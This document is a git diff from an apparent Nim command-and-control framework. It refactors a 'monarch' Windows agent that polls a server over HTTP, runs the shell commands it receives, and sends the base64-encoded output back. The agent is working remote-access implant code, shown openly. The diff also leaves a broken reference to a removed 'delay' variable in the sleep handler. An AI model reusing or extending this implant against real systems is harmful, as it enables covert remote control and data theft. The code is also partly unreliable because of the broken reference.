diff --git a/agents/monarch/client.nim b/agents/monarch/client.nim index 38fbd3d..e0c0b52 100644 --- a/agents/monarch/client.nim +++ b/agents/monarch/client.nim @@ -60,7 +60,7 @@ proc main() = # Execute all retrieved tasks and return their output to the server for task in tasks: - let result = task.handleTask(config) + let result: TaskResult = task.handleTask(config) discard config.postResults(agent, result) when isMainModule: diff --git a/agents/monarch/commands/shell.nim b/agents/monarch/commands/shell.nim index 72b4e75..6c60754 100644 --- a/agents/monarch/commands/shell.nim +++ b/agents/monarch/commands/shell.nim @@ -1,14 +1,24 @@ -import winim, osproc, strutils, strformat +import winim, osproc, strutils, strformat, base64 import ../types -proc taskShell*(command: seq[string]): tuple[output: TaskResult, status: TaskStatus] = +proc taskShell*(task: Task): TaskResult = - echo "Executing command: ", command.join(" ") + echo "Executing command: ", task.args.join(" ") try: - let (output, status) = execCmdEx(command.join(" ")) - return (output, Completed) + let (output, status) = execCmdEx(task.args.join(" ")) + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(output), + status: Completed + ) except CatchableError as err: - return (fmt"An error occured: {err.msg}" & "\n", Failed) \ No newline at end of file + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(fmt"An error occured: {err.msg}" & "\n"), + status: Failed + ) diff --git a/agents/monarch/commands/sleep.nim b/agents/monarch/commands/sleep.nim index c86fdd2..3db790c 100644 --- a/agents/monarch/commands/sleep.nim +++ b/agents/monarch/commands/sleep.nim @@ -1,14 +1,24 @@ -import os, strutils, strformat +import os, strutils, strformat, base64 import ../types -proc taskSleep*(delay: int): tuple[output: TaskResult, status: TaskStatus] = +proc taskSleep*(task: Task): TaskResult = - echo fmt"Sleeping for {$delay} seconds." + echo fmt"Sleeping for {task.args[0]} seconds." try: - sleep(delay * 1000) - return ("", Completed) + sleep(parseInt(task.args[0]) * 1000) + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(""), + status: Completed + ) except CatchableError as err: - return (fmt"An error occured: {err.msg}" & "\n", Failed) \ No newline at end of file + return TaskResult( + task: task.id, + agent: task.agent, + data: encode(fmt"An error occured: {err.msg}" & "\n"), + status: Failed + ) \ No newline at end of file diff --git a/agents/monarch/http.nim b/agents/monarch/http.nim index 0d19691..df80ed1 100644 --- a/agents/monarch/http.nim +++ b/agents/monarch/http.nim @@ -49,20 +49,20 @@ proc getTasks*(config: AgentConfig, agent: string): seq[Task] = return @[] -proc postResults*(config: AgentConfig, agent: string, task: Task): bool = +proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool = let client = newAsyncHttpClient() # Define headers client.headers = newHttpHeaders({ "Content-Type": "application/json" }) - let taskJson = %task + let taskJson = %taskResult echo $taskJson try: # Register agent to the Conquest server - discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{task.id}/results", $taskJson) + discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson) except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time echo "[-] [postResults]: ", err.msg diff --git a/agents/monarch/nim.cfg b/agents/monarch/nim.cfg index beea462..d57a63a 100644 --- a/agents/monarch/nim.cfg +++ b/agents/monarch/nim.cfg @@ -2,4 +2,4 @@ -d:ListenerUuid="KPDHWZNT" -d:ListenerIp="localhost" -d:ListenerPort=7777 --d:SleepDelay=0 +-d:SleepDelay=10 diff --git a/agents/monarch/task.nim b/agents/monarch/task.nim index 3348f44..756b3f3 100644 --- a/agents/monarch/task.nim +++ b/agents/monarch/task.nim @@ -1,49 +1,28 @@ -import base64, strutils +import strutils import ./types import ./commands/commands -proc handleTask*(task: Task, config: AgentConfig): Task = +proc handleTask*(task: Task, config: AgentConfig): TaskResult = # Handle task command case task.command: of ExecuteShell: - - let (output, status) = taskShell(task.args) - echo output + let taskResult = taskShell(task) + echo taskResult.data + return taskResult - return Task( - id: task.id, - agent: task.agent, - command: task.command, - args: task.args, - result: encode(output), # Base64 encode result - status: status - ) - - of Sleep: - # Parse arguments - let delay: int = parseInt(task.args[0]) - + of Sleep: # Execute task - let (output, status) = taskSleep(delay) + let taskResult = taskSleep(task) # Update sleep delay in agent config - if status == Completed: + if taskResult.status == Completed: config.sleep = delay # Return result - return Task( - id: task.id, - agent: task.agent, - command: task.command, - args: task.args, - result: encode(output), - status: status - ) + return taskResult else: echo "Not implemented" - return nil - - return task \ No newline at end of file + return nil \ No newline at end of file diff --git a/server/agent/agent.nim b/server/agent/agent.nim index c844c8f..a6c53ac 100644 --- a/server/agent/agent.nim +++ b/server/agent/agent.nim @@ -208,19 +208,19 @@ proc getTasks*(listener, agent: string): JsonNode = # return nil # Return tasks in JSON format - return %cq.agents[agent.toUpperAscii].tasks.filterIt(it.status != Completed) + return %cq.agents[agent.toUpperAscii].tasks -proc handleResult*(listener, agent, task: string, taskResult: Task) = +proc handleResult*(listener, agent, task: string, taskResult: TaskResult) = {.cast(gcsafe).}: cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Task execution finished.") - if taskResult.result != "": + if taskResult.data != "": cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Output:") # Split result string on newline to keep formatting - for line in decode(taskResult.result).split("\n"): + for line in decode(taskResult.data).split("\n"): cq.writeLine(line) # Update task queue to include all tasks, except the one that was just completed diff --git a/server/agent/commands/shell.nim b/server/agent/commands/shell.nim index 2978955..cab87bf 100644 --- a/server/agent/commands/shell.nim +++ b/server/agent/commands/shell.nim @@ -11,8 +11,6 @@ proc taskExecuteShell*(cq: Conquest, arguments: seq[string]) = agent: cq.interactAgent.name, command: ExecuteShell, args: arguments, - result: "", - status: Created ) # Add new task to the agent's task queue diff --git a/server/agent/commands/sleep.nim b/server/agent/commands/sleep.nim index 89db41b..d85e6f8 100644 --- a/server/agent/commands/sleep.nim +++ b/server/agent/commands/sleep.nim @@ -20,8 +20,6 @@ proc taskExecuteSleep*(cq: Conquest, delay: int) = agent: cq.interactAgent.name, command: Sleep, args: @[$delay], - result: "", - status: Created ) # Add new task to the agent's task queue diff --git a/server/listener/api.nim b/server/listener/api.nim index 3388da9..34466e1 100644 --- a/server/listener/api.nim +++ b/server/listener/api.nim @@ -101,7 +101,7 @@ proc postResults*(ctx: Context) {.async.} = try: let taskResultJson: JsonNode = parseJson(ctx.request.body) - taskResult: Task = taskResultJson.to(Task) + taskResult: TaskResult = taskResultJson.to(TaskResult) # Handle and display task result handleResult(listener, agent, task, taskResult) diff --git a/server/types.nim b/server/types.nim index 5b24c02..2d207fe 100644 --- a/server/types.nim +++ b/server/types.nim @@ -17,34 +17,23 @@ type Sleep = "sleep" TaskStatus* = enum - Created = "created" Completed = "completed" + Created = "created" Pending = "pending" Failed = "failed" Cancelled = "cancelled" - TaskResult* = string - - #[ - TaskResult*[T] = ref object - data*: T - - Task*[T] = ref object - id*: string - agent*: string - command*: TaskCommand - args*: seq[string] - result*: TaskResult[T] - status*: TaskStatus - ]# + TaskResult* = ref object + task*: string + agent*: string + data*: string + status*: TaskStatus Task* = ref object id*: string agent*: string command*: TaskCommand - args*: seq[string] - result*: TaskResult - status*: TaskStatus + args*: seq[string] AgentRegistrationData* = object username*: string